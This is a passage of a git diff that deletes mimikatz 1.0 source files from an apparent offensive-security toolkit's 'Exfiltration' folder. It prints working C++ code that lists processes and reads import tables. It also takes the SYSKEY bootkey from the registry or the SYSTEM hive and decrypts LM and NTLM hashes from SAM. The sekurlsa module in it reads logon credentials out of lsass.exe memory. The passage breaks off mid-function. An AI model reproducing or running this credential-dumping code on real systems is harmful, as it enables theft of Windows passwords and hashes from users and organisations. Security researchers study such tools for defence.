(*outputStream) << L"OK"; - else - (*outputStream) << L"KO - mod_process::resume ; " << mod_system::getWinError(); - (*outputStream) << endl; - } - else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; - } - - return true; -} - - - - -bool mod_mimikatz_process::list(vector * arguments) -{ - vector * vectorProcess = new vector(); - if(mod_process::getList(vectorProcess)) - { - (*outputStream) << L"PID\tPPID\t#Ths\tpri\timage" << endl; - for(vector::iterator monProcess = vectorProcess->begin(); monProcess != vectorProcess->end(); monProcess++) - { - (*outputStream) << - setw(5) << setfill(wchar_t(' ')) << monProcess->th32ProcessID << L'\t' << - setw(5) << setfill(wchar_t(' ')) << monProcess->th32ParentProcessID << L'\t' << - setw(5) << setfill(wchar_t(' ')) << monProcess->cntThreads << L'\t' << - setw(5) << setfill(wchar_t(' ')) << monProcess->pcPriClassBase << L'\t' << - monProcess->szExeFile << - endl; - } - } - else (*outputStream) << L"mod_process::getList ; " << mod_system::getWinError() << endl; - - delete vectorProcess; - return true; -} - -bool mod_mimikatz_process::modules(vector * arguments) -{ - DWORD processId = 0 ; - - if(!arguments->empty() && !(arguments->size() > 1)) - { - wstringstream monBuffer; - monBuffer << arguments->front(); - monBuffer >> processId; - } - - vector * vectorModules = new vector(); - if(mod_process::getModulesListForProcessId(vectorModules, &processId)) - { - (*outputStream) << L"@Base\tTaille\tModule\tPath" << endl; - for(vector::iterator monModule = vectorModules->begin(); monModule != vectorModules->end(); monModule++) - { - (*outputStream) << monModule->modBaseAddr << L'\t' << monModule->modBaseSize << '\t' << monModule->szModule << L'\t' << monModule->szExePath << endl; - } - } - else - (*outputStream) << L"mod_process::getModulesListForProcessId ; " << mod_system::getWinError() << endl; - - delete vectorModules; - return true; -} - -bool mod_mimikatz_process::iat(vector * arguments) -{ - wstring process; - wstring module; - - switch(arguments->size()) - { - case 2: - process = arguments->at(0); - module = arguments->at(1); - break; - case 1: - process = arguments->at(0); - break; - default: - ; - } - - mod_process::KIWI_PROCESSENTRY32 monProcess; - if(mod_process::getUniqueForName(&monProcess, &process)) - { - if(HANDLE monHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, monProcess.th32ProcessID)) - { - if(module.empty() || (module.front() != L'*')) - { - if(module.empty()) - module.assign(process); - - mod_process::KIWI_MODULEENTRY32 * monModule = new mod_process::KIWI_MODULEENTRY32(); - if(mod_process::getUniqueModuleForName(monModule, &module, &monProcess.th32ProcessID)) - { - printIATFromModule(monModule, monHandle); - } - else (*outputStream) << L"mod_process::getUniqueModuleForName ; " << mod_system::getWinError() << endl; - delete monModule; - } - else - { - vector * vectorModules = new vector(); - if(mod_process::getModulesListForProcessId(vectorModules, &monProcess.th32ProcessID)) - { - for(vector::iterator monModule = vectorModules->begin(); monModule != vectorModules->end(); monModule++) - printIATFromModule(&*monModule, monHandle); - } - else (*outputStream) << L"mod_process::getModulesListForProcessId ; " << mod_system::getWinError() << endl; - - delete vectorModules; - } - - CloseHandle(monHandle); - } - } - else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; - - return true; -} - -void mod_mimikatz_process::printInfosFromPid(DWORD &PID, DWORD ThreadId) -{ - (*outputStream) << L"PID : " << PID << endl; - - if(ThreadId) - { - (*outputStream) << L"ThreadID : " << ThreadId << endl; - } - - LUID monId = {0, 0}; - if(mod_process::getAuthentificationIdFromProcessId(PID, monId)) - { - (*outputStream) << "AuthId_h : " << monId.HighPart << endl; - (*outputStream) << "AuthId_l : " << monId.LowPart << endl; - } - else (*outputStream) << L"Erreur : " << mod_system::getWinError() << endl; -} - -void mod_mimikatz_process::printIATFromModule(mod_process::KIWI_MODULEENTRY32 * monModule, HANDLE monHandle) -{ - (*outputStream) << monModule->szModule << L" -> " << monModule->szExePath << endl; - PBYTE baseAddr = reinterpret_cast(monModule->modBaseAddr); - - vector>> * monIAT = new vector>>(); - if(mod_process::getIAT(baseAddr, monIAT, monHandle)) - { - for(vector>>::iterator monModuleImporte = monIAT->begin(); monModuleImporte != monIAT->end(); monModuleImporte++) - { - (*outputStream) << L" - Imports depuis : " << monModuleImporte->first.c_str() << endl; - for(vector::iterator maFonctionImporte = monModuleImporte->second.begin(); maFonctionImporte != monModuleImporte->second.end(); maFonctionImporte++) - { - (*outputStream) << L" " << maFonctionImporte->ptrToFunc << L" -> " << maFonctionImporte->ptrFunc << L' '; - if(maFonctionImporte->Ordinal != 0) - (*outputStream) << L"O# " << maFonctionImporte->Ordinal; - else - (*outputStream) << maFonctionImporte->funcName.c_str(); - (*outputStream) << endl; - } - } - } - delete monIAT; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h deleted file mode 100644 index 68f8428a..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h +++ /dev/null @@ -1,32 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_system.h" -#include "mod_process.h" -#include - -class mod_mimikatz_process -{ -private: - static void printInfosFromPid(DWORD &PID, DWORD ThreadId); - static void printIATFromModule(mod_process::KIWI_MODULEENTRY32 * monModule, HANDLE monHandle = INVALID_HANDLE_VALUE); - -public: - static vector getMimiKatzCommands(); - - static bool list(vector * arguments); - - static bool start(vector * arguments); - static bool suspend(vector * arguments); - static bool resume(vector * arguments); - static bool stop(vector * arguments); - - - static bool modules(vector * arguments); - static bool iat(vector * arguments); -}; - diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp deleted file mode 100644 index 26f5798b..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp +++ /dev/null @@ -1,353 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_samdump.h" -#include "..\global.h" - -vector mod_mimikatz_samdump::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(full, L"hashes", L"Rcupre la bootkey depuis une ruche SYSTEM puis les hashes depuis une ruche SAM")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(bootkey, L"bootkey", L"Rcupre la bootkey depuis une ruche SYSTEM")); - return monVector; -} - -bool mod_mimikatz_samdump::bootkey(vector * arguments) -{ - unsigned char bootkey[0x10]; - if(!arguments->empty()) - getInfosFromHive(arguments->front(), bootkey); - else - getInfosFromReg(bootkey); - return true; -} - -bool mod_mimikatz_samdump::full(vector * arguments) -{ - unsigned char bootkey[0x10]; - if(!arguments->empty() && (arguments->size() >= 1 && arguments->size() <= 2)) - { - if(getInfosFromHive(arguments->front().c_str(), bootkey)) - { - if(!getUsersAndHashesFromHive(arguments->back().c_str(), bootkey)) - (*outputStream) << L"Erreur lors de l\'exploration des ruches" << endl; - } - } - else - { - if(getInfosFromReg(bootkey)) - { - if(!getUsersAndHashesFromReg(bootkey)) - (*outputStream) << L"Erreur lors de l\'exploration du registre" << endl; - } - } - return true; -} - -bool mod_mimikatz_samdump::getUsersAndHashesFromHive(wstring samHive, unsigned char bootkey[0x10]) -{ - bool reussite = false; - - mod_hive::hive * monHive = new mod_hive::hive(); - mod_hive::InitHive(monHive); - if(mod_hive::RegOpenHive(samHive.c_str(), monHive)) - { - string * rootKey = new string(); - if(mod_hive::RegGetRootKey(monHive, rootKey)) - { - string * keyAccountName = new string(*rootKey); keyAccountName->append("\\SAM\\Domains\\Account"); - string * valAccountName = new string("F"); - int longueurF = 0; unsigned char *bufferF = NULL; - - if(mod_hive::RegOpenKeyQueryValue(monHive, keyAccountName, valAccountName, &bufferF, &longueurF)) - { - BYTE hBootKey[0x20] = {0}; - if(mod_hash::getHbootKeyFromBootKeyAndF(hBootKey, bootkey, bufferF)) - { - string * keyUsers = new string(*rootKey); keyUsers->append("\\SAM\\Domains\\Account\\Users"); - mod_hive::nk_hdr * nodeUsers = new mod_hive::nk_hdr(); - if(mod_hive::RegOpenKey(monHive, keyUsers, &nodeUsers )) - { - vector * keyNames = new vector(); - if(reussite = mod_hive::RegEnumKey(monHive, nodeUsers, keyNames)) - { - for(vector::iterator maKey = keyNames->begin(); maKey != keyNames->end(); maKey++) - { - if(maKey->compare("Names") != 0) - { - string * keyUser = new string(*keyUsers); keyUser->append("\\"); keyUser->append(*maKey); - string valUserF = "F"; mod_hash::USER_F * userF = NULL; int longueurF = 0; - string valUserV = "V"; mod_hash::USER_V * userV = NULL; int longueurV = 0; - - if(reussite &= mod_hive::RegOpenKeyQueryValue(monHive, keyUser, &valUserV, reinterpret_cast(&userV), &longueurV) && - mod_hive::RegOpenKeyQueryValue(monHive, keyUser, &valUserF, reinterpret_cast(&userF), &longueurF)) - { - infosFromUserAndKey(userF, userV, hBootKey); - delete[] userF, userV; - } - delete keyUser; - } - } - } - delete keyNames; - } - delete nodeUsers, keyUsers; - } - delete[] bufferF; - } - delete valAccountName, keyAccountName; - } - delete rootKey; - } - delete monHive; - - return reussite; -} - -bool mod_mimikatz_samdump::getInfosFromHive(wstring systemHive, unsigned char bootkey[0x10]) -{ - bool reussite = false; - - mod_hive::hive * monHive = new mod_hive::hive(); - mod_hive::InitHive(monHive); - - if(mod_hive::RegOpenHive(systemHive.c_str(), monHive)) - { - string * rootKey = new string(); - if(mod_hive::RegGetRootKey(monHive, rootKey)) - { - DWORD nControlSet = 0; - if(getNControlSetFromHive(monHive, rootKey, &nControlSet)) - { - stringstream * monControlSet = new stringstream; - *monControlSet << *rootKey << "\\ControlSet" << setw(3) << setfill('0') << nControlSet; - string * fullControlSet = new string(monControlSet->str()); - delete monControlSet; - - wstring * computerName = new wstring(); - if(getComputerNameFromHive(monHive, fullControlSet, computerName)) - (*outputStream) << L"Ordinateur : " << *computerName << endl; - delete computerName; - - if(reussite = getBootKeyFromHive(monHive, fullControlSet, bootkey)) - (*outputStream) << L"BootKey : " << mod_text::stringOfHex(bootkey, 0x10) << endl; - delete fullControlSet; - } - } - delete rootKey; - mod_hive::RegCloseHive(monHive); - } - delete monHive; - - return reussite; -} - -bool mod_mimikatz_samdump::getComputerNameFromHive(mod_hive::hive * theHive, string * fullControlSet, wstring * computerName) -{ - bool reussite = false; - - string * keyComputerName = new string(*fullControlSet); keyComputerName->append("\\Control\\ComputerName\\ComputerName"); - string * valComputerName = new string("ComputerName"); - int longueur = 0; unsigned char *buffer = NULL; - if(reussite = mod_hive::RegOpenKeyQueryValue(theHive, keyComputerName, valComputerName, &buffer, &longueur)) - { - computerName->assign(reinterpret_cast(buffer), longueur / sizeof(wchar_t)); - delete[] buffer; - } - delete valComputerName; - delete keyComputerName; - - return reussite; -} - -bool mod_mimikatz_samdump::getBootKeyFromHive(mod_hive::hive * theHive, string * fullControlSet, unsigned char bootkey[0x10]) -{ - bool reussite = false; - - unsigned char key[0x10]; - char *kn[] = {"JD", "Skew1", "GBG", "Data"}; - - for(unsigned int i = 0; i < sizeof(kn) / sizeof(char *); i++ ) - { - string * maKey = new string(*fullControlSet); maKey->append("\\Control\\Lsa\\"); maKey->append(kn[i]); - mod_hive::nk_hdr * n = new mod_hive::nk_hdr(); - - if(reussite = mod_hive::RegOpenKey(theHive, maKey, &n)) - { - char kv[9] = {0}; - unsigned char *b = mod_hive::read_data(theHive, n->classname_off + 0x1000); - for(short j = 0; j < (n->classname_len / 2) && j < 8; j++) - kv[j] = b[j*2]; - sscanf_s(kv, "%x", (unsigned int*) (&key[i*4])); - } - delete n, maKey; - } - - if(reussite) - mod_hash::getBootKeyFromKey(bootkey, key); - - return reussite; -} - -bool mod_mimikatz_samdump::getBootKeyFromReg(BYTE bootkey[0x10]) -{ - bool reussite = false; - - DWORD code; - BYTE key[0x10] = {0}; - wchar_t * kn[] = {L"JD", L"Skew1", L"GBG", L"Data"}; - HKEY monLSA; - code = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", 0, KEY_READ, &monLSA); - if(code == ERROR_SUCCESS) - { - for(unsigned int i = 0; (i < sizeof(kn) / sizeof(wchar_t *)) && (code == ERROR_SUCCESS); i++ ) - { - HKEY monSecret; - code = RegOpenKeyEx(monLSA, kn[i], 0, KEY_READ, &monSecret); - if(code == ERROR_SUCCESS) - { - wchar_t monBuffer[8 + 1]; - DWORD maTaille = 8 + 1; - - code = RegQueryInfoKey(monSecret, monBuffer, &maTaille, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); - if(code == ERROR_SUCCESS) - swscanf_s(monBuffer, L"%x", (DWORD *) (&key[i * sizeof(DWORD)])); - else (*outputStream) << L"RegQueryInfoKey " << kn[i] << " : " << mod_system::getWinError(false, code) << endl; - RegCloseKey(monSecret); - } else (*outputStream) << L"RegOpenKeyEx " << kn[i] << " : " << mod_system::getWinError(false, code) << endl; - } - RegCloseKey(monLSA); - } else (*outputStream) << L"RegOpenKeyEx LSA : " << mod_system::getWinError(false, code) << endl; - - if(reussite = (code == ERROR_SUCCESS)) - mod_hash::getBootKeyFromKey(bootkey, key); - - return reussite; -} - - - -bool mod_mimikatz_samdump::getNControlSetFromHive(mod_hive::hive * theHive, string * rootKey, DWORD * nControlSet) -{ - bool reussite = false; - - string * selectKey = new string(*rootKey); selectKey->append("\\Select"); - string * nDefault = new string("Default"); - int longueur = 0; unsigned char *buffer = NULL; - - if(mod_hive::RegOpenKeyQueryValue(theHive, selectKey, nDefault, &buffer, &longueur)) - { - if(reussite = (longueur == sizeof(DWORD))) - *nControlSet = *(DWORD *) (buffer); - delete[] buffer; - } - - delete nDefault, selectKey; - return reussite; -} - -bool mod_mimikatz_samdump::getInfosFromReg(BYTE bootkey[0x10]) -{ - bool reussite = false; - - wstring * computerName = new wstring(); - if(mod_system::getComputerName(computerName)) - (*outputStream) << L"Ordinateur : " << *computerName << endl; - delete computerName; - - if(reussite = getBootKeyFromReg(bootkey)) - (*outputStream) << L"BootKey : " << mod_text::stringOfHex(bootkey, 0x10) << endl; - - return reussite; -} - - -bool mod_mimikatz_samdump::getUsersAndHashesFromReg(BYTE bootkey[0x10]) -{ - bool reussite = false; - - DWORD code; - HKEY maSAM; - code = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SAM\\SAM\\Domains\\Account", 0, KEY_READ, &maSAM); - if(code == ERROR_SUCCESS) - { - DWORD tailleRequise = 0; - code = RegQueryValueEx(maSAM, L"F", NULL, NULL, NULL, &tailleRequise); - if(code == ERROR_SUCCESS) - { - BYTE * bufferF = new BYTE[tailleRequise]; - code = RegQueryValueEx(maSAM, L"F", NULL, NULL, bufferF, &tailleRequise); - if(code == ERROR_SUCCESS) - { - BYTE hBootKey[0x10] = {0}; - if(mod_hash::getHbootKeyFromBootKeyAndF(hBootKey, bootkey, bufferF)) - { - HKEY mesUsers; - code = RegOpenKeyEx(maSAM, L"Users", 0, KEY_READ, &mesUsers); - if(code == ERROR_SUCCESS) - { - DWORD nombreUsers = 0, tailleMaxSousCle = 0; - code = RegQueryInfoKey(mesUsers, NULL, NULL, NULL, &nombreUsers, &tailleMaxSousCle, NULL, NULL, NULL, NULL, NULL, NULL); - if(reussite = (code == ERROR_SUCCESS)) - { - tailleMaxSousCle++; - wchar_t * monRid = new wchar_t[tailleMaxSousCle]; - for(DWORD i = 0; i < nombreUsers ; i++) - { - DWORD tailleRid = tailleMaxSousCle; - code = RegEnumKeyExW(mesUsers, i, monRid, &tailleRid, NULL, NULL, NULL, NULL); - if(code == ERROR_SUCCESS) - { - if(_wcsicmp(monRid, L"Names") != 0) - { - HKEY monUser; - code = RegOpenKeyEx(mesUsers, monRid, 0, KEY_READ, &monUser); - if(reussite &= (code == ERROR_SUCCESS)) - { - DWORD tailleF = 0, tailleV = 0; - if((RegQueryValueEx(monUser, L"F", NULL, NULL, NULL, &tailleF) == ERROR_SUCCESS) && - (RegQueryValueEx(monUser, L"V", NULL, NULL, NULL, &tailleV) == ERROR_SUCCESS)) - { - mod_hash::USER_F * userF = reinterpret_cast(new BYTE[tailleF]); - mod_hash::USER_V * userV = reinterpret_cast(new BYTE[tailleV]); - - if((RegQueryValueEx(monUser, L"F", NULL, NULL, reinterpret_cast(userF), &tailleF) == ERROR_SUCCESS) && - (RegQueryValueEx(monUser, L"V", NULL, NULL, reinterpret_cast(userV), &tailleV) == ERROR_SUCCESS)) - infosFromUserAndKey(userF, userV, hBootKey); - - delete[] userF, userV; - } - RegCloseKey(monUser); - } - } - } else (*outputStream) << L"RegEnumKeyExW : " << mod_system::getWinError(false, code) << endl; - } - delete[] monRid; - } - RegCloseKey(mesUsers); - } else (*outputStream) << L"RegOpenKeyEx Users : " << mod_system::getWinError(false, code) << endl; - } - } else (*outputStream) << L"RegQueryValueEx 2 F : " << mod_system::getWinError(false, code) << endl; - delete[] bufferF; - } else (*outputStream) << L"RegQueryValueEx 1 F : " << mod_system::getWinError(false, code) << endl; - RegCloseKey(maSAM); - } else (*outputStream) << L"RegOpenKeyEx SAM : " << mod_system::getWinError(false, code) << endl; - - return reussite; -} - -void mod_mimikatz_samdump::infosFromUserAndKey(mod_hash::USER_F * userF, mod_hash::USER_V * userV, BYTE hBootKey[0x10]) -{ - wstring hashLM, hashNTLM; - mod_hash::decryptHash(&hashLM, hBootKey, userV, &userV->LM, userF->UserId, false); - mod_hash::decryptHash(&hashNTLM, hBootKey, userV, &userV->NTLM, userF->UserId, true); - - (*outputStream) << endl << - L"Rid : " << userF->UserId << endl << - L"User : " << wstring((wchar_t *) (&(userV->datas) + userV->Username.offset), userV->Username.lenght / sizeof(wchar_t)) << endl << - L"LM : " << hashLM << endl << - L"NTLM : " << hashNTLM << endl - ; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h deleted file mode 100644 index 6586d033..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h +++ /dev/null @@ -1,34 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_hive.h" -#include "mod_hash.h" -#include "mod_system.h" -#include -#include - -class mod_mimikatz_samdump -{ -private: - static bool getNControlSetFromHive(mod_hive::hive * theHive, string * rootKey, DWORD * nControlSet); - static bool getComputerNameFromHive(mod_hive::hive * theHive, string * fullControlSet, wstring * computerName); - - static bool getBootKeyFromHive(mod_hive::hive * theHive, string * fullControlSet, unsigned char bootkey[0x10]); - static bool getInfosFromHive(wstring systemHive, unsigned char bootkey[0x10]); - static bool getUsersAndHashesFromHive(wstring samHive, unsigned char bootkey[0x10]); - - static bool getBootKeyFromReg(BYTE bootkey[0x10]); - static bool getInfosFromReg(BYTE bootkey[0x10]); - static bool getUsersAndHashesFromReg(BYTE bootkey[0x10]); - - static void infosFromUserAndKey(mod_hash::USER_F * userF, mod_hash::USER_V * userV, BYTE hBootKey[0x20]); -public: - static vector getMimiKatzCommands(); - - static bool bootkey(vector * arguments); - static bool full(vector * arguments); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp deleted file mode 100644 index d8832bcb..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp +++ /dev/null @@ -1,348 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` -http://blog.gentilkiwi.com -benjamin@gentilkiwi.com -Licence : http://creativecommons.org/licenses/by/3.0/fr/ -Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_sekurlsa.h" -#include "..\global.h" -HMODULE mod_mimikatz_sekurlsa::hLsaSrv = NULL; -HANDLE mod_mimikatz_sekurlsa::hLSASS = NULL; -mod_process::KIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa::localLSASRV, *mod_mimikatz_sekurlsa::pModLSASRV = NULL; -PLSA_SECPKG_FUNCTION_TABLE mod_mimikatz_sekurlsa::SeckPkgFunctionTable = NULL; - -bool mod_mimikatz_sekurlsa::lsassOK = false; -vector> mod_mimikatz_sekurlsa::GLOB_ALL_Providers; -vector mod_mimikatz_sekurlsa::mesModules; - -vector mod_mimikatz_sekurlsa::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_msv1_0::getMSV, L"msv", L"numre les sessions courantes du provider MSV1_0")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_wdigest::getWDigest, L"wdigest", L"numre les sessions courantes du provider WDigest")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_kerberos::getKerberos, L"kerberos",L"numre les sessions courantes du provider Kerberos")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_tspkg::getTsPkg, L"tspkg", L"numre les sessions courantes du provider TsPkg")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_livessp::getLiveSSP, L"livessp", L"numre les sessions courantes du provider LiveSSP")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_ssp::getSSP, L"ssp", L"numre les sessions courantes du provider SSP (msv1_0)")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(getLogonPasswords, L"logonPasswords", L"numre les sessions courantes des providers disponibles")); - - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(searchPasswords, L"searchPasswords", L"rechere directement dans les segments mmoire de LSASS des mots de passes")); - return monVector; -} - -bool mod_mimikatz_sekurlsa::getLogonPasswords(vector * arguments) -{ - if(searchLSASSDatas()) - getLogonData(arguments, &GLOB_ALL_Providers); - else - (*outputStream) << L"Donnes LSASS en erreur" << endl; - return true; -} - -bool mod_mimikatz_sekurlsa::loadLsaSrv() -{ - if(!hLsaSrv) - hLsaSrv = LoadLibrary(L"lsasrv"); - - if(mesModules.empty()) - { - mesModules.push_back(KIWI_MODULE_PKG_LSA(L"lsasrv.dll", L"msv1_0", mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData, &pModLSASRV)); - mesModules.push_back(KIWI_MODULE_PKG_LSA(L"tspkg.dll", L"tspkg", mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData, &mod_mimikatz_sekurlsa_tspkg::pModTSPKG)); - mesModules.push_back(KIWI_MODULE_PKG_LSA(L"wdigest.dll", L"wdigest", mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData, &mod_mimikatz_sekurlsa_wdigest::pModWDIGEST)); - mesModules.push_back(KIWI_MODULE_PKG_LSA(L"kerberos.dll", L"kerberos", mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData, &mod_mimikatz_sekurlsa_kerberos::pModKERBEROS)); - mesModules.push_back(KIWI_MODULE_PKG_LSA(L"msv1_0.dll", L"ssp", mod_mimikatz_sekurlsa_ssp::getSSPLogonData, &mod_mimikatz_sekurlsa_ssp::pModMSV)); - if(mod_system::GLOB_Version.dwBuildNumber >= 8000) - mesModules.push_back(KIWI_MODULE_PKG_LSA(L"livessp.dll",L"livessp", mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData, &mod_mimikatz_sekurlsa_livessp::pModLIVESSP)); - } - return (hLsaSrv != NULL); -} - -bool mod_mimikatz_sekurlsa::unloadLsaSrv() -{ - for(vector::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++) - if(*testModule->pModuleEntry) - delete *testModule->pModuleEntry; - - if(mod_system::GLOB_Version.dwMajorVersion < 6) - mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData(); - else - mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData(); - - if(hLSASS) - CloseHandle(hLSASS); - if(hLsaSrv) - FreeLibrary(hLsaSrv); - - return true; -} - -bool mod_mimikatz_sekurlsa::searchLSASSDatas() -{ - if(!lsassOK) - { - if(!hLSASS) - { - mod_process::KIWI_PROCESSENTRY32 monProcess; - wstring processName = L"lsass.exe"; - if(mod_process::getUniqueForName(&monProcess, &processName)) - { - if(hLSASS = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, monProcess.th32ProcessID)) - { - vector monVecteurModules; - if(mod_process::getVeryBasicModulesListForProcess(&monVecteurModules, hLSASS)) - { - for(vector::iterator leModule = monVecteurModules.begin(); leModule != monVecteurModules.end(); leModule++) - { - for(vector::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++) - { - if((_wcsicmp(leModule->szModule.c_str(), testModule->moduleName) == 0) && !(*testModule->pModuleEntry)) - { - GLOB_ALL_Providers.push_back(make_pair(testModule->enumFunc, testModule->simpleName/*wstring(L"msv1_0")*/)); - *testModule->pModuleEntry = new mod_process::KIWI_VERY_BASIC_MODULEENTRY(*leModule); - break; - } - } - } - } else { - (*outputStream) << L"mod_process::getVeryBasicModulesListForProcess : " << mod_system::getWinError() << endl; - CloseHandle(hLSASS); - hLSASS = NULL; - } - } else (*outputStream) << L"OpenProcess : " << mod_system::getWinError() << endl; - } else (*outputStream) << L"mod_process::getUniqueForName : " << mod_system::getWinError() << endl; - } - - if(hLSASS) - { - MODULEINFO mesInfos; - if(GetModuleInformation(GetCurrentProcess(), hLsaSrv, &mesInfos, sizeof(MODULEINFO))) - { - localLSASRV.modBaseAddr = reinterpret_cast(mesInfos.lpBaseOfDll); - localLSASRV.modBaseSize = mesInfos.SizeOfImage; - - if(!SeckPkgFunctionTable) - { - struct {PVOID LsaIRegisterNotification; PVOID LsaICancelNotification;} extractPkgFunctionTable = {GetProcAddress(hLsaSrv, "LsaIRegisterNotification"), GetProcAddress(hLsaSrv, "LsaICancelNotification")}; - if(extractPkgFunctionTable.LsaIRegisterNotification && extractPkgFunctionTable.LsaICancelNotification) - mod_memory::genericPatternSearch(reinterpret_cast(&SeckPkgFunctionTable), L"lsasrv", reinterpret_cast(&extractPkgFunctionTable), sizeof(extractPkgFunctionTable), - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification), NULL, true, true); - } - - lsassOK = (mod_system::GLOB_Version.dwMajorVersion < 6) ? mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData() : mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData(); - } - } - } - return lsassOK; -} - -PLIST_ENTRY mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind) -{ - PLIST_ENTRY resultat = NULL; - BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)]; - PLIST_ENTRY pStruct = NULL; - if(mod_memory::readMemory(pSecurityStruct, &pStruct, sizeof(pStruct), hLSASS)) - { - while(pStruct != pSecurityStruct) - { - if(mod_memory::readMemory(pStruct, monBuffer, LUIDoffset + sizeof(LUID), hLSASS)) - { - if(RtlEqualLuid(luidToFind, reinterpret_cast(reinterpret_cast(monBuffer) + LUIDoffset))) - { - resultat = pStruct; - break; - } - } else break; - pStruct = reinterpret_cast(monBuffer)->Flink; - } - } - delete [] monBuffer; - return resultat; -} - -PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind) -{ - PVOID resultat = NULL; - RTL_AVL_TABLE maTable; - if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS)) - resultat = getPtrFromAVLByLuidRec(reinterpret_cast(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind); - return resultat; -} - -PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind) -{ - PVOID resultat = NULL; - RTL_AVL_TABLE maTable; - if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS)) - { - if(maTable.OrderedPointer) - { - BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)]; - if(mod_memory::readMemory(maTable.OrderedPointer, monBuffer, LUIDoffset + sizeof(LUID), hLSASS)) - { - if(RtlEqualLuid(luidToFind, reinterpret_cast(reinterpret_cast(monBuffer) + LUIDoffset))) - resultat = maTable.OrderedPointer; - } - delete [] monBuffer; - } - - if(!resultat && maTable.BalancedRoot.LeftChild) - resultat = getPtrFromAVLByLuidRec(reinterpret_cast(maTable.BalancedRoot.LeftChild), LUIDoffset, luidToFind); - if(!resultat && maTable.BalancedRoot.RightChild) - resultat = getPtrFromAVLByLuidRec(reinterpret_cast(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind); - } - return resultat; -} - -void mod_mimikatz_sekurlsa::genericCredsToStream(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, bool justSecurity, bool isDomainFirst, PDWORD pos) -{ - if(mesCreds) - { - if(mesCreds->Password.Buffer || mesCreds->UserName.Buffer || mesCreds->Domaine.Buffer) 